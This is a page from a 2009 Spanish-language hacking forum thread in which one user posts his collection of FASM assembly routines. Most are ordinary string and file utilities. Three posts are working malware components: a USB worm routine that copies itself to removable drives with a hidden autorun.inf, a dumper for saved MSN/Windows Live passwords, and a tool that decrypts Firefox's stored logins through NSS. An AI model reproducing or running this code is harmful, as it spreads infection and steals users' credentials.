elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Sigue las noticias más importantes de seguridad informática en el Twitter! de elhacker.NET


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  ASM (Moderador: Eternal Idol)
| | | |-+  Recopilación de mis codigos.
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: 1 [2] 3 4 5 6 Ir Abajo Respuesta Imprimir
Autor Tema: Recopilación de mis codigos.  (Leído 30,882 veces)
YST


Desconectado Desconectado

Mensajes: 965


I'm you


Ver Perfil WWW
Re: Recopilación de mis codigos.
« Respuesta #10 en: 1 Junio 2009, 00:06 am »

Código
  1. format pe console
  2. espacio equ 13,10,0
  3. include 'win32ax.inc'
  4. .data
  5. RutaLib   rb MAX_PATH
  6. RutaINC   rb MAX_PATH
  7. .code
  8. start:
  9. invoke printf,"Ingrese la ruta de la libreria:"
  10. invoke printf,espacio
  11. invoke scanf,"%s",RutaLib
  12. invoke printf,"Ingrese la ruta de la donde se generara el include:"
  13. invoke printf,espacio
  14. invoke scanf,"%s",RutaINC
  15. stdcall CrearImport,RutaLib,RutaINC
  16. invoke ExitProcess,0
  17. proc CrearImport,NombreLIB,NombreImport
  18. locals
  19. DirPEHeader dd ?
  20. PunteroPEHeader dd ?
  21. RVAofExportDirectory   dd ?
  22. NumberOfNames dd ?
  23. AddressOfNames dd ?
  24. Funcion dd ?
  25. HFile dd ?
  26. Nosirve dd ?
  27. Largo dd ?
  28. LibHandle dd ?
  29. endl
  30. push ebx  edx  edi  ecx
  31.    invoke LoadLibrary, [NombreLIB]
  32.    mov [LibHandle],eax
  33. cmp eax,NULL
  34. je .Error
  35. push dword[eax + 03Ch]
  36. pop  [DirPEHeader]
  37. push [DirPEHeader]
  38. pop [PunteroPEHeader]
  39. add  [PunteroPEHeader],eax
  40. mov ebx,[PunteroPEHeader]
  41. cmp word[ebx],"PE"
  42. jne .Error
  43. push dword[ebx+078h]
  44. pop [RVAofExportDirectory]
  45. mov ebx, [RVAofExportDirectory]
  46. add ebx,eax
  47. push dword[ebx+018h]
  48. pop [NumberOfNames]
  49. mov edx,[NumberOfNames]
  50. push dword[ebx+20h]
  51. pop [AddressOfNames]
  52. mov ebx,[NumberOfNames]
  53. mov        edi, [AddressOfNames]
  54.    add        edi,[LibHandle]
  55.  
  56.  
  57.  
  58.               invoke CreateFileA, [NombreImport], GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, 0
  59.                mov [HFile], eax
  60.                invoke lstrlen,"import "
  61.            invoke WriteFile, [HFile], "import ",eax,addr Nosirve, NULL
  62.                 invoke lstrlen,[NombreLIB]
  63.                 sub eax,4
  64.                invoke WriteFile, [HFile], [NombreLIB],eax,addr Nosirve, NULL
  65.                invoke WriteFile,[HFile] , ",\",2,addr Nosirve, NULL
  66.                             invoke WriteFile, [HFile], espacio,2,addr Nosirve, NULL
  67.  
  68. .bucle:
  69. dec ebx
  70. mov        eax, [edi + ebx * 4]
  71. add eax,[LibHandle]
  72. mov [Funcion],eax
  73.        invoke lstrlen, [Funcion]
  74.                invoke WriteFile, [HFile], [Funcion],eax,addr Nosirve, NULL
  75.                invoke WriteFile, [HFile],",",1,addr Nosirve, NULL
  76.  
  77.                              invoke WriteFile, [HFile],"'",1,addr Nosirve, NULL
  78.                                      invoke lstrlen, [Funcion]
  79.                invoke WriteFile, [HFile], [Funcion],eax,addr Nosirve, NULL
  80.                .if ebx = 0
  81.                      invoke WriteFile, [HFile],"'",1,addr Nosirve, NULL
  82.                .else
  83.                  invoke WriteFile, [HFile],"',\",3,addr Nosirve, NULL
  84.              invoke WriteFile, [HFile], espacio,2,addr Nosirve, NULL
  85.              .endif
  86.  cmp ebx,0
  87.  jne .bucle
  88.  
  89.            invoke CloseHandle, [HFile]
  90.            invoke system,"cls"
  91.            invoke printf,"Extraida las funciones de: "
  92.            invoke printf,RutaLib
  93.            invoke printf,espacio
  94.            invoke printf,espacio
  95.            invoke printf,"El include ah sido generado en : "
  96.             invoke printf,RutaINC
  97.                      invoke printf,espacio
  98.            invoke printf,espacio
  99.            invoke printf,"Con "
  100.               invoke printf,"%d",[NumberOfNames]
  101.               invoke printf," funciones extraidas."
  102.                invoke printf,espacio
  103.                  invoke system,"pause"
  104. pop  ecx edi edx ebx
  105. ret
  106. .Error:
  107.      invoke system,"cls"
  108.            invoke printf,"Ocurrio un error durante la extracciòn."
  109.                        invoke printf,espacio
  110.               invoke system,"pause"
  111. ret
  112. endp
  113. .end start    
  114.  

PD: En este codigose necesita agregar alguna apis a la win32ax.


En línea



Yo le enseñe a Kayser a usar objetos en ASM
YST


Desconectado Desconectado

Mensajes: 965


I'm you


Ver Perfil WWW
Re: Recopilación de mis codigos.
« Respuesta #11 en: 1 Junio 2009, 00:14 am »

Código
  1. include 'win32ax.inc'
  2. .data
  3. Separador db "/()·/", 0
  4. Cadena db 'Soy/()·/una/()·/cadena',0
  5. Cantidad dd ?
  6. buffer rb MAX_PATH
  7. .code
  8. start:
  9. stdcall Split,Cadena,Separador,buffer
  10. mov [Cantidad],eax
  11. stdcall Len,Separador
  12. mov ebx,eax
  13. mov ecx,[Cantidad]
  14. inc ecx
  15. mov esi,buffer
  16. .bucle:
  17. push ecx
  18. invoke MessageBox,0,esi,esi,0
  19. stdcall Len,esi
  20. add esi,eax
  21. add esi,ebx
  22. pop ecx
  23. loop .bucle
  24. invoke ExitProcess,0
  25. ; cCadena(in) = Cadena a partir
  26. ; cSeparador(in) = Separador que se usara para partir la cadena
  27. ; cBuffer(out) = A donde se guardara la cadena partida
  28. ; Retorna la cantidad de separadores encontrados
  29. proc Split,cCadena,cSeparador,cBuffer
  30. push edi esi ecx  ebx
  31. xor ebx,ebx
  32. stdcall copy,[cBuffer],[cCadena]
  33. stdcall Len,[cSeparador]
  34. mov edi,eax
  35. mov  esi,[cBuffer]
  36. dec  esi
  37. .bucle:
  38. inc esi
  39. cmp byte[esi],0
  40. je .salir
  41. mov cl,byte[esi+edi]
  42. mov byte[esi+edi],0
  43. stdcall comparar,esi,[cSeparador]
  44. mov byte[esi+edi],cl
  45. cmp eax,0
  46. jne .bucle
  47. inc ebx
  48. mov byte[esi],0
  49. add esi,edi
  50. jmp .bucle
  51. .salir:
  52. mov eax,ebx
  53. pop ebx ecx esi edi
  54. ret
  55. endp
  56.  
  57. proc comparar ,SRC,DST ;Funcion que compara
  58. push edi ecx esi
  59. mov ecx,-1
  60. mov edi,[SRC]
  61. mov al,0
  62. repnz scasb
  63. mov eax,ecx
  64. not eax
  65. mov ecx,eax
  66. mov esi,[SRC]
  67. mov edi,[DST]
  68. repz cmpsb
  69. mov eax,1
  70. jnz Next
  71. dec eax
  72. Next:
  73. pop esi ecx edi
  74. ret
  75. endp
  76. proc Len,cCadena   ;Funcion que mide la cadena
  77. push ecx edi
  78. mov ecx,-1
  79. mov edi,[cCadena]
  80. mov al,0
  81. repnz scasb
  82. mov eax,ecx
  83. not eax
  84. dec eax
  85. pop edi ecx
  86. ret
  87. endp
  88. proc copy,cDestino,cCadena    ;funcion que copia una cadena
  89. push ecx edi esi
  90. stdcall Len,[cCadena]
  91. add eax,2
  92. mov ecx,eax
  93. mov esi,[cCadena]
  94. mov edi,[cDestino]
  95. rep movsb
  96. pop esi edi ecx
  97. ret
  98. endp
  99. .end start


En línea



Yo le enseñe a Kayser a usar objetos en ASM
YST


Desconectado Desconectado

Mensajes: 965


I'm you


Ver Perfil WWW
Re: Recopilación de mis codigos.
« Respuesta #12 en: 1 Junio 2009, 00:19 am »

Código
  1. include 'win32ax.inc'
  2.  
  3. .data
  4. xD db '[soy una cadena.]',0
  5. .code
  6. start:
  7. stdcall EncriptacionChangeCase,xD,0
  8. invoke MessageBox,0,xD,0,0
  9. invoke ExitProcess,0
  10. ;Función que transforma las miniscula a mayusculas y viceversa
  11. ; cCadena = Puntero de cadena a cifrar
  12. ; cTTamaño = Tamaño de cadena a enbcriptar si este es 0 se medira la cadena automaticamente (fin de cadena de caracter nulo )
  13. ;  By YST
  14. proc EncriptacionChangeCase,cCadena,cTamaño
  15. push ebx
  16. xor ebx,ebx
  17. cmp [cTamaño],0
  18. je .contar
  19. mov ebx,[cTamaño]
  20. jmp .Start
  21. .contar:
  22. mov ebx,0
  23. mov eax,[cCadena]
  24. .len:
  25. inc ebx
  26. inc eax
  27. cmp byte[eax],0
  28. jne .len
  29. .Start:
  30. mov eax, [cCadena]
  31. dec eax
  32. inc ebx
  33. .bucle:
  34. dec ebx
  35. inc eax
  36. cmp ebx,0
  37. je .salir
  38. cmp byte[eax],'A'
  39. jb .bucle
  40. cmp byte[eax],91
  41. jge .revisar
  42. jmp .seguir
  43. jmp .bucle
  44. .seguir:
  45. cmp byte[eax],"Z"
  46. jbe .Mayuscula
  47. cmp byte[eax],"z"
  48. jbe .Miniscula
  49. jmp .bucle
  50. .salir :
  51. xor ebx,ebx
  52. mov ebx,0
  53. mov eax,[cCadena]
  54. pop ebx
  55. ret
  56. .revisar:
  57. cmp byte[eax],96
  58. jg .seguir
  59. jbe .bucle
  60. .Mayuscula:         ;Si es Mayuscula la pasamos a miniscula
  61. add byte[eax],0x20
  62. jmp .bucle
  63. .Miniscula:         ;Si es miniscula la pasamos a Mayuscula
  64. sub byte[eax],0x20
  65. jmp .bucle
  66. xor ebx,ebx
  67. mov ebx,0
  68. mov eax,[cCadena]
  69. endp
  70.  
  71. .end start
En línea



Yo le enseñe a Kayser a usar objetos en ASM
YST


Desconectado Desconectado

Mensajes: 965


I'm you


Ver Perfil WWW
Re: Recopilación de mis codigos.
« Respuesta #13 en: 1 Junio 2009, 00:26 am »

Código
  1. proc LenUnicode,cCadena
  2. mov ebx,[cCadena]
  3. mov eax,0
  4. .bucle:
  5. inc eax
  6. cmp byte[ebx+eax*2],0
  7. jne  .bucle
  8. pop ebx
  9. ret
  10. endp
En línea



Yo le enseñe a Kayser a usar objetos en ASM
YST


Desconectado Desconectado

Mensajes: 965


I'm you


Ver Perfil WWW
Re: Recopilación de mis codigos.
« Respuesta #14 en: 1 Junio 2009, 00:28 am »

Código
  1. proc ConcatenarUnicode,cCadena1,cCadena2,cBuffer
  2. push esi edi
  3.    mov edi,[cBuffer]
  4.    mov esi,[cCadena1]
  5.  
  6. .bucle1:
  7.    movsb
  8.    cmp word[esi],0
  9.    jne  .bucle1
  10.  
  11.       inc edi
  12.        mov esi,[cCadena2]
  13. .bucle2:
  14.    movsb
  15.    cmp word[esi],0
  16.    jne  .bucle2
  17.    pop edi esi
  18. ret
  19. endp
  20.  
En línea



Yo le enseñe a Kayser a usar objetos en ASM
YST


Desconectado Desconectado

Mensajes: 965


I'm you


Ver Perfil WWW
Re: Recopilación de mis codigos.
« Respuesta #15 en: 1 Junio 2009, 00:31 am »

Código
  1. ;Descripcion: Esta función funciona igual que la winapi RtlMoveMemory
  2. ; by YST
  3. proc cRtlMoveMemory,cBuffer,Cpuntero,cCantidad
  4. push esi edi
  5. xchg edi,[cBuffer]
  6. xchg esi,[Cpuntero]
  7. .bucleb:
  8. dec [cCantidad]
  9. movsb
  10. cmp  [cCantidad],0
  11. jge .bucleb
  12. pop edi esi
  13. ret
  14. endp
En línea



Yo le enseñe a Kayser a usar objetos en ASM
YST


Desconectado Desconectado

Mensajes: 965


I'm you


Ver Perfil WWW
Re: Recopilación de mis codigos.
« Respuesta #16 en: 1 Junio 2009, 00:32 am »

Esta en fasm para llamarlo se llama con
Código:
invoke CreateThread , 0, 0,InfeccionUSB,0,0 , 0

Código
  1.     Autorun db '[autoRun]',13,10,\
  2. 'action=Open Files On Folder',13,10,\
  3. 'shellexecute=',0
  4. Autorun2 db 13,10,\
  5. 'UseAutoPlay=1',0  
  6. BufferUnidades rb 31
  7.  

Código
  1. proc InfeccionUSB
  2. locals
  3. Miruta dd ?
  4. Minombre dd ?
  5. MiRutaInfeccionaria dd ?
  6. MiAutorun dd ?
  7. RutaAutorun dd ?
  8. handleCreado dd ?
  9. tamaño dd ?
  10. bEscritos dd ?
  11. endl
  12. pushad
  13.  
  14. invoke GlobalAlloc,GPTR,MAX_PATH
  15.  mov [Miruta],eax
  16. invoke GetModuleFileNameA,0,[Miruta],MAX_PATH
  17.  stdcall ConseguirNombre,[Miruta]
  18.  mov [Minombre],eax
  19.       .infinito:
  20.    invoke SleepEx,1000,FALSE
  21.       stdcall Zerar,BufferUnidades,30
  22. invoke GetLogicalDriveStringsA,30,BufferUnidades
  23.        mov ebx,BufferUnidades
  24.        .bucleDetectaExtraible:
  25. invoke GetDriveTypeA,ebx
  26.  
  27. .if eax = DRIVE_REMOVABLE
  28. .if word[ebx] = 'A:'
  29. .else
  30.      invoke GlobalAlloc,GPTR,MAX_PATH
  31. mov [MiRutaInfeccionaria],eax
  32.           stdcall Concat,ebx,[Minombre],[MiRutaInfeccionaria]
  33.  
  34.     ;       stdcall LLamaOtraApi,'shlwapi.dll', "PathFileExistsA"
  35. invoke PathFileExistsA,[MiRutaInfeccionaria]
  36. .if eax = FALSE
  37.  
  38. invoke CopyFileA,[Miruta],[MiRutaInfeccionaria],FALSE
  39.                ;SetFileAttributes
  40.          invoke SetFileAttributesA,[MiRutaInfeccionaria],FILE_ATTRIBUTE_HIDDEN
  41.              invoke GlobalAlloc,GPTR,MAX_PATH
  42.              mov [MiAutorun] ,eax
  43.            invoke GlobalAlloc,GPTR,MAX_PATH
  44.            mov [RutaAutorun],eax
  45.              stdcall Concat,Autorun,[Minombre], [MiAutorun]
  46.                    stdcall Concat,[MiAutorun],Autorun2, [MiAutorun]
  47.                    stdcall Concat,ebx,"autorun.inf",[RutaAutorun]
  48.  
  49.            invoke CreateFileA, [RutaAutorun] , GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, 0
  50.                mov [handleCreado], eax
  51.            invoke lstrlenA,[MiAutorun]
  52.              mov [tamaño],eax
  53.      invoke WriteFile, [handleCreado],[MiAutorun] , [tamaño], addr bEscritos, NULL
  54.  
  55.  
  56.            invoke CloseHandle, [handleCreado]
  57.               invoke SetFileAttributesA,[RutaAutorun] ,FILE_ATTRIBUTE_HIDDEN
  58. invoke GlobalFree,[MiAutorun]
  59.  
  60. invoke GlobalFree,[RutaAutorun]
  61.                .endif
  62. invoke GlobalFree,[MiRutaInfeccionaria]
  63. .endif
  64. .endif
  65.  
  66. .if byte[ebx] = 0
  67.  
  68. invoke GlobalFree,[Miruta]
  69. invoke CreateThread , 0, 0,InfeccionUSB,0,0 , 0
  70. invoke ExitThread,0
  71. .else
  72. add ebx,4
  73. jmp      .bucleDetectaExtraible
  74. .endif
  75. endp
Código
  1. proc Concat uses esi edi, @AdrSrc1, @AdrSrc2, @AdrDest
  2.    mov esi,[@AdrSrc1]
  3.    mov edi,[@AdrDest]
  4.  
  5. .concat_src1:
  6.    movsb
  7.    cmp byte[esi],0
  8.    jne .concat_src1
  9.  
  10.    mov esi,[@AdrSrc2]
  11.  
  12. .concat_src2:
  13.    movsb
  14.    cmp byte[esi],0
  15.    jne .concat_src2
  16.  
  17.    movsb
  18.  
  19.    ret
  20. endp
  21.  
  22. proc ConseguirNombre,ruta ;Funcion que devuelve el nombrer de el archivo.
  23. push ebx
  24. xor ebx,ebx
  25. mov ebx,[ruta]
  26. stdcall len,[ruta]
  27. add ebx,eax
  28. @@:
  29. dec ebx
  30. cmp byte[ebx],5Ch
  31. jne @b
  32. inc ebx
  33. mov eax,ebx
  34. pop ebx
  35. ret
  36. endp  
  37.  
  38. proc Zerar,Puntero,Cantidad
  39.  
  40.    push ecx
  41.    push ebx
  42.  
  43.              mov ecx,[Cantidad]
  44.                 mov ebx,[Puntero]
  45.                .bucle:
  46.  
  47.                mov byte[ebx+ecx],0
  48.                loop .bucle
  49.                mov byte[ebx],0
  50.                pop ebx
  51.                pop ecx
  52.                ret
  53. endp    
  54.  
En línea



Yo le enseñe a Kayser a usar objetos en ASM
YST


Desconectado Desconectado

Mensajes: 965


I'm you


Ver Perfil WWW
Re: Recopilación de mis codigos.
« Respuesta #17 en: 1 Junio 2009, 00:36 am »

Código
  1. include 'win32ax.inc'
  2. .code
  3. start:
  4. stdcall DetectaExtención,"SoyUnExe.php.exe.YoSoyLaextensionreal"
  5. invoke MessageBox,0,eax,0,0
  6. invoke ExitProcess,0
  7. ;Descripcion: Esta función devuelve la extension de un archivo
  8. ; cRuta = Ruta del archivo
  9. ; by YST
  10. proc DetectaExtención,cRuta
  11. push ebx esi
  12. xchg eax,[cRuta]
  13. dec eax
  14. .bucle:
  15. inc eax
  16. cmp byte[eax],0
  17. jne .bucle
  18. inc eax
  19. .bucle2:
  20. dec eax
  21. cmp byte[eax],"."
  22. jne .bucle2
  23. xor esi,esi
  24. dec esi
  25. .bucle3:
  26. inc eax
  27. inc esi
  28. cmp byte[eax],0
  29. jne .bucle3
  30. push eax
  31. invoke GlobalAlloc,GPTR,esi
  32. xchg ebx,eax
  33. pop eax
  34. sub eax,esi
  35. stdcall cRtlMoveMemory,ebx,eax,esi
  36. xchg ebx,eax
  37. .salir:
  38. pop  esi ebx
  39. ret
  40. endp
  41. ;Descripcion: Esta función funciona igual que la winapi RtlMoveMemory
  42. ; by YST
  43. proc cRtlMoveMemory,cBuffer,Cpuntero,cCantidad
  44. push esi edi
  45. xchg edi,[cBuffer]
  46. xchg esi,[Cpuntero]
  47. .bucleb:
  48. dec [cCantidad]
  49. movsb
  50. cmp  [cCantidad],0
  51. jge .bucleb
  52. pop edi esi
  53. ret
  54. endp
  55. .end start
En línea



Yo le enseñe a Kayser a usar objetos en ASM
YST


Desconectado Desconectado

Mensajes: 965


I'm you


Ver Perfil WWW
Re: Recopilación de mis codigos.
« Respuesta #18 en: 1 Junio 2009, 00:40 am »

Código
  1. Espacio equ 13,10
  2. format pe console
  3. include 'win32ax.inc'
  4. entry start
  5. .data
  6. Logo db '         =====================================================',13,10
  7.     db '         = Humilde Visor de claves de el msn 0.1v by YST     =',13,10
  8.     db '         =====================================================',13,10,0
  9. lCount dd ?
  10. lCred dd ?
  11. struct DATA_BLOB
  12.    cbData                 dd ?
  13.    pbData                 dd ?
  14. ends
  15. tBlobOut   DATA_BLOB
  16. tBlobIn     DATA_BLOB
  17. lmem dd ?
  18. acento rb 3
  19. .code
  20. start:
  21. invoke system,"color 03"
  22. invoke printf,Logo
  23. invoke printf,Espacio
  24. invoke printf,Espacio
  25. invoke CredEnumerate,"WindowsLive:name=*", 0, lCount,lCred
  26. .if [lCount] = 0
  27.  
  28. invoke printf,"%s","Ninguna cuenta encontrada."
  29. jmp salir
  30. .else
  31. mov ebx, [lCred]
  32. .bucle:
  33. dec [lCount]
  34. mov eax, dword[ebx]
  35. mov edi,dword[eax+8]
  36. mov edx,dword[eax+24]
  37. mov esi,dword[eax+28]
  38.  
  39. mov  [tBlobIn.cbData],edx
  40.     mov  [tBlobIn.pbData] ,esi
  41.   invoke CryptUnprotectData,tBlobIn, $0, $0, $0, $0, $1, tBlobOut
  42.   .if     [tBlobIn.cbData] = 0
  43.   mov eax, dword[ebx]
  44. mov eax,dword[eax+48]
  45. invoke printf,"Mail: %s",eax
  46. invoke printf,Espacio
  47. invoke printf,Espacio
  48.   .else
  49.  
  50.   invoke LocalAlloc,GPTR,[tBlobIn.cbData];          
  51. mov [lmem],eax
  52. stdcall UniToAscii ,[lmem], [tBlobIn.pbData]
  53.   invoke printf,"%s","Mail: "
  54.   mov eax, dword[ebx]
  55. mov eax,dword[eax+48]
  56. invoke printf,"%s",eax
  57. invoke printf,Espacio
  58. invoke CharToOem,"ñ",acento
  59. invoke printf,"Contrase"
  60. invoke printf ,"%s",acento
  61. invoke printf, "a: %s",[lmem]
  62. invoke printf,Espacio
  63. invoke printf,Espacio
  64. invoke LocalFree,[lmem]
  65. .endif
  66.  
  67. .if [lCount] = 0
  68. .else
  69. add ebx,4
  70. jmp .bucle
  71. .endif
  72.  
  73. .endif
  74. salir:
  75. invoke ExitProcess,0
  76. proc UniToAscii, ascii, unicode
  77. push esi
  78. push edi
  79.  mov esi, [unicode]
  80.  mov edi, [ascii]
  81.  .count:
  82.  .if byte[esi] <> 0
  83.      movsb
  84.      jmp .count
  85.  .endif
  86.  inc esi
  87.  .if byte[esi] = 0
  88.      jmp .exit
  89.  .endif
  90.  jmp .count
  91.  .exit:
  92.  
  93.  mov eax, edi
  94.  add eax, 2
  95. pop edi
  96. pop esi
  97.  ret
  98. endp
  99.   section '.idata' import data readable writeable
  100.   library kernel32,'kernel32.dll',crypt32,"crypt32.dll",user32,'user32.dll',advapi32,'advapi32.dll',msvcrt,'msvcrt.dll'
  101.   include 'api/kernel32.inc'
  102.  import crypt32,CryptUnprotectData,"CryptUnprotectData"
  103.  
  104. import advapi32,\
  105. CredEnumerate,'CredEnumerateA'
  106. include 'api/user32.inc'
  107. import msvcrt,printf,"printf",system,"system"
  108.  
  109. section '.reloc' fixups data discardable
En línea



Yo le enseñe a Kayser a usar objetos en ASM
YST


Desconectado Desconectado

Mensajes: 965


I'm you


Ver Perfil WWW
Re: Recopilación de mis codigos.
« Respuesta #19 en: 1 Junio 2009, 00:42 am »

Código
  1. format pe console
  2. entry start
  3. include 'win32ax.inc'
  4. sPath equ dword[ebx+4]
  5. Espacio equ 13,10
  6. .data
  7.  
  8. struct TSECItem
  9.    SECItemType     dd ?
  10.    SECItemData     dd ?
  11.    SECItemLen      dd ?
  12.    ends
  13.    url dd ?
  14.    valor dd ?
  15.  
  16. lvLibs0 dd ?
  17. Logo db '         =====================================================',13,10
  18.     db '         = Humilde Visor de claves de el Firefox 0.1v by YST =',13,10
  19.     db '         =====================================================',13,10,0
  20.  
  21. URL dd ?
  22. Campo dd ?
  23. tsec TSECItem
  24. tSecDec  TSECItem
  25. lvLibs7 dd ?
  26. lKeySlot dd ?
  27. P dd ?
  28. bUsados    dd ?
  29. hFile dd ?
  30. tamAr dd ?
  31. IB dd ?
  32. sFFPath  rb MAX_PATH+1
  33. sRet rb 260
  34. sRet2 rb 260
  35. comp dd ?
  36. .code
  37. start:
  38. invoke system,"color 03"
  39. invoke printf,"%s",Logo
  40. invoke SHGetSpecialFolderLocation,0,26h,ebx
  41. invoke LocalAlloc,40h,MAX_PATH+1
  42. mov dword[ebx+4] ,eax
  43. invoke SHGetPathFromIDList,dword[ebx],sPath
  44. invoke lstrcat,sPath,"\Mozilla Firefox\"
  45.  
  46.  
  47. stdcall Cargar,dword[ebx+4],"mozcrt19.dll"
  48. stdcall Cargar,dword[ebx+4],"sqlite3.dll"
  49. stdcall Cargar,dword[ebx+4],"nspr4.dll"
  50. stdcall Cargar,dword[ebx+4],"plc4.dll"
  51. stdcall Cargar,dword[ebx+4],"plds4.dll"
  52. stdcall Cargar,dword[ebx+4],"nssutil3.dll"
  53. stdcall Cargar,dword[ebx+4],"softokn3.dll"
  54. stdcall Cargar,dword[ebx+4],"softokn3.dll"
  55.  
  56.  
  57. ;"nss3.dll"
  58. invoke LocalAlloc,40h,MAX_PATH+1
  59. mov [P],eax
  60. stdcall Concat,sPath, "nss3.dll",eax
  61. invoke LoadLibrary,[P]
  62. mov [lvLibs7],eax
  63. invoke LocalFree,[P]
  64. ;1A
  65. invoke SHGetSpecialFolderLocation,0,1ah,ebx
  66. invoke SHGetPathFromIDList,dword[ebx],sFFPath
  67. invoke lstrcat,sFFPath,"\Mozilla\Firefox\profiles.ini"
  68.  
  69. invoke GetPrivateProfileString,"Profile0", "Path", 0, sRet, 260, sFFPath
  70.  
  71. stdcall Zerar,sFFPath,MAX_PATH
  72.  
  73. invoke SHGetSpecialFolderLocation,0,1ah,ebx
  74. invoke SHGetPathFromIDList,dword[ebx],sFFPath
  75. invoke lstrcat,sFFPath,"\Mozilla\Firefox\"
  76. invoke lstrcat,sFFPath,sRet
  77. invoke lstrcat,sFFPath,"\signons3.txt"
  78.  
  79. invoke  CreateFile, sFFPath, GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0
  80. mov [hFile], eax
  81. invoke  GetFileSize, eax, 0
  82. mov [tamAr], eax
  83. invoke  GlobalAlloc, GPTR, eax
  84. mov [IB], eax
  85. invoke  ReadFile, [hFile], [IB], [tamAr], bUsados, 0
  86.  
  87. invoke SHGetSpecialFolderLocation,0,1ah,ebx
  88. invoke SHGetPathFromIDList,dword[ebx],sRet2
  89. invoke lstrcat,sRet2  ,"\Mozilla\Firefox\"
  90. invoke lstrcat,sRet2  ,sRet
  91. ;lKeySlot
  92. invoke GetProcAddress,[lvLibs7], "NSS_Init"
  93. stdcall eax,sRet2
  94. .if eax = 0
  95. invoke GetProcAddress,[lvLibs7], "PK11_GetInternalKeySlot"
  96. stdcall eax
  97.   mov [lKeySlot],eax
  98. .if eax <> 0
  99.    invoke GetProcAddress,[lvLibs7], "PK11_Authenticate"
  100.  
  101.    stdcall eax,[lKeySlot],TRUE,0
  102. .if eax = 0
  103. xor edi,edi
  104. mov ebx,[IB]
  105. invoke printf,Espacio
  106. invoke printf,Espacio
  107. .bucle:
  108.  
  109. inc edi
  110. cmp edi, [tamAr]
  111. je salir
  112. inc ebx
  113. cmp byte[ebx],"."
  114. jne .bucle
  115. cmp byte[ebx+1],13
  116. jne .bucle
  117. cmp byte[ebx+2],10
  118. jne .bucle
  119. add ebx,3
  120. .if byte[ebx] <> 0
  121. mov [URL],ebx
  122. .bucle2:
  123. inc edi
  124. cmp edi, [tamAr]
  125. je salir
  126. inc ebx
  127. cmp byte[ebx],13
  128. jne .bucle2
  129. cmp byte[ebx+1],10
  130. jne .bucle2
  131. mov byte[ebx],0
  132. mov byte[ebx+1],0
  133. invoke printf,Espacio
  134. invoke printf,Espacio
  135. invoke printf,"WEB: %s",[URL]
  136. invoke printf,Espacio
  137. .campo:
  138. add ebx,2
  139. mov [Campo],ebx
  140. .bucle3:
  141. inc edi
  142. cmp edi, [tamAr]
  143. je salir
  144. inc ebx
  145. cmp byte[ebx],13
  146. jne .bucle3
  147. cmp byte[ebx+1],10
  148. jne .bucle3
  149. mov byte[ebx],0
  150. mov byte[ebx+1],0
  151. invoke printf,"Campo: %s",[Campo]
  152. invoke printf,Espacio
  153. add ebx,2
  154. mov [valor],ebx
  155. .bucle4:
  156. inc edi
  157. cmp edi, [tamAr]
  158. je salir
  159. inc ebx
  160. cmp byte[ebx],13
  161. jne .bucle4
  162. cmp byte[ebx+1],10
  163. jne .bucle4
  164. mov byte[ebx],0
  165. mov byte[ebx+1],0
  166. invoke lstrlen,[valor]
  167. mov [Campo],eax
  168.   invoke GetProcAddress,[lvLibs7], "NSSBase64_DecodeBuffer"
  169. stdcall eax,0,  tsec, [valor], [Campo]
  170.   invoke GetProcAddress,[lvLibs7], "PK11SDR_Decrypt"
  171.  
  172. stdcall eax, tsec,tSecDec, 0
  173. invoke printf,"Datos: %s",[tSecDec.SECItemData]
  174. invoke printf,Espacio
  175. add ebx,2
  176. .if dword[ebx] = "http"
  177. sub ebx,2
  178. jmp .bucle
  179. .else
  180. sub ebx,2
  181. jmp .campo
  182. .endif
  183. .endif
  184. .endif
  185. .endif
  186. .endif
  187. .endif
  188. salir:
  189. invoke ExitProcess,0
  190.  
  191. proc Cargar, sPathL, libreria
  192. invoke LocalAlloc,40h,MAX_PATH+1
  193. mov [P],eax
  194. stdcall Concat,[sPathL],[libreria] ,eax
  195. invoke LoadLibrary,[P]
  196. invoke LocalFree,[P]
  197. ret
  198. endp
  199. proc Concat uses esi edi, @AdrSrc1, @AdrSrc2, @AdrDest
  200. mov esi,[@AdrSrc1]
  201. mov edi,[@AdrDest]
  202. .concat_src1:
  203. movsb
  204. cmp byte[esi],0
  205. jne .concat_src1
  206. mov esi,[@AdrSrc2]
  207. .concat_src2:
  208. movsb
  209. cmp byte[esi],0
  210. jne .concat_src2
  211. movsb
  212. ret
  213. endp
  214.  
  215. proc Zerar,Puntero,Cantidad
  216.  
  217.    push ecx
  218.    push ebx
  219.  
  220.              mov ecx,[Cantidad]
  221.                 mov ebx,[Puntero]
  222.                .bucle:
  223.  
  224.                mov byte[ebx+ecx],0
  225.                loop .bucle
  226.                mov byte[ebx],0
  227.                pop ebx
  228.                pop ecx
  229.                ret
  230. endp
  231.  
  232.   section '.idata' import data readable writeable
  233.   library kernel32,'kernel32.dll',user32,'user32.dll',msvcrt,'msvcrt.dll',shell32,'shell32.dll'
  234.   include 'api/kernel32.inc'
  235. include 'api/user32.inc'
  236. import msvcrt,printf,"printf",system,"system"
  237. include 'api/shell32.inc'
  238. section '.reloc' fixups data discardable
En línea



Yo le enseñe a Kayser a usar objetos en ASM
Páginas: 1 [2] 3 4 5 6 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Recopilacion Total De Versiones De Psp By Keiser
Juegos y Consolas
Keiser 0 3,059 Último mensaje 24 Diciembre 2010, 10:34 am
por Keiser
Recopilacion de Codigos C++
Programación C/C++
ramon99 2 1,804 Último mensaje 21 Febrero 2017, 10:31 am
por z3nth10n
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines